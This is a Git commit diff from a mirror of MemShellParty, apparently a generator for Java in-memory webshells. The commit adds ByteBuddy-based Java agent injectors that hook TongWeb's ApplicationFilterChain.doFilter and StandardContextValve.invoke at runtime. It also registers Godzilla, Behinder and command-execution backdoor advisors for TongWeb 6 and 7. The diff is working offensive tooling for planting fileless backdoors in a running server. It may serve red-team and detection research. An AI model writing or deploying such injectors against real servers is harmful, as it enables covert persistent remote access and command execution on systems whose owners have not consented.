mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
feat: support TongWeb agent shell
This commit is contained in:
@@ -1,17 +1,19 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||||
|
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
|
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
|
||||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
|
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
|
||||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
|
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
|
||||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebFilterInjector;
|
import com.reajason.javaweb.memshell.tongweb.injector.*;
|
||||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebValveInjector;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -32,7 +34,9 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
||||||
VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class),
|
VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class)
|
JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class),
|
||||||
|
AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -44,7 +48,9 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
||||||
VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class),
|
VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class)
|
JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class),
|
||||||
|
AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -56,7 +62,9 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
||||||
VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class),
|
VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class)
|
JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class),
|
||||||
|
AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,17 +1,18 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
|
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
|
||||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
|
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
|
||||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
|
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
|
||||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebFilterInjector;
|
import com.reajason.javaweb.memshell.tongweb.injector.*;
|
||||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.injector.TongWebValveInjector;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -32,7 +33,9 @@ public class TongWeb7Shell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class),
|
||||||
VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class),
|
VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class)
|
JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class),
|
||||||
|
AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -44,7 +47,9 @@ public class TongWeb7Shell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class),
|
||||||
VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class),
|
VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class)
|
JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class),
|
||||||
|
AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -56,7 +61,9 @@ public class TongWeb7Shell extends AbstractShell {
|
|||||||
LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
||||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class),
|
||||||
VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class),
|
VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class),
|
||||||
JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class)
|
JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class),
|
||||||
|
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class),
|
||||||
|
AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+65
@@ -0,0 +1,65 @@
|
|||||||
|
package com.reajason.javaweb.memshell.tongweb.injector;
|
||||||
|
|
||||||
|
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
import net.bytebuddy.utility.JavaModule;
|
||||||
|
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/28
|
||||||
|
*/
|
||||||
|
public class TongWebContextValveAgentInjector implements AgentBuilder.Transformer {
|
||||||
|
|
||||||
|
static Class<?> interceptorClass = null;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
interceptorClass = Class.forName(getClassName());
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||||
|
TypeDescription typeDescription,
|
||||||
|
ClassLoader classLoader, JavaModule module,
|
||||||
|
ProtectionDomain protectionDomain) {
|
||||||
|
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
new AgentBuilder.Default()
|
||||||
|
.ignore(ElementMatchers.none())
|
||||||
|
.disableClassFormatChanges()
|
||||||
|
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||||
|
.type(named("com.tongweb.web.thor.core.StandardContextValve")
|
||||||
|
.or(named("com.tongweb.catalina.core.StandardContextValve")))
|
||||||
|
.transform(new TongWebContextValveAgentInjector())
|
||||||
|
.installOn(inst);
|
||||||
|
System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.StandardContextValve.invoke");
|
||||||
|
}
|
||||||
|
}
|
||||||
+65
@@ -0,0 +1,65 @@
|
|||||||
|
package com.reajason.javaweb.memshell.tongweb.injector;
|
||||||
|
|
||||||
|
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
import net.bytebuddy.utility.JavaModule;
|
||||||
|
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/28
|
||||||
|
*/
|
||||||
|
public class TongWebFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||||
|
|
||||||
|
static Class<?> interceptorClass = null;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
interceptorClass = Class.forName(getClassName());
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||||
|
TypeDescription typeDescription,
|
||||||
|
ClassLoader classLoader, JavaModule module,
|
||||||
|
ProtectionDomain protectionDomain) {
|
||||||
|
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
new AgentBuilder.Default()
|
||||||
|
.ignore(ElementMatchers.none())
|
||||||
|
.disableClassFormatChanges()
|
||||||
|
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||||
|
.type(named("com.tongweb.web.thor.core.ApplicationFilterChain")
|
||||||
|
.or(named("com.tongweb.catalina.core.ApplicationFilterChain")))
|
||||||
|
.transform(new TongWebFilterChainAgentInjector())
|
||||||
|
.installOn(inst);
|
||||||
|
System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.ApplicationFilterChain.doFilter");
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user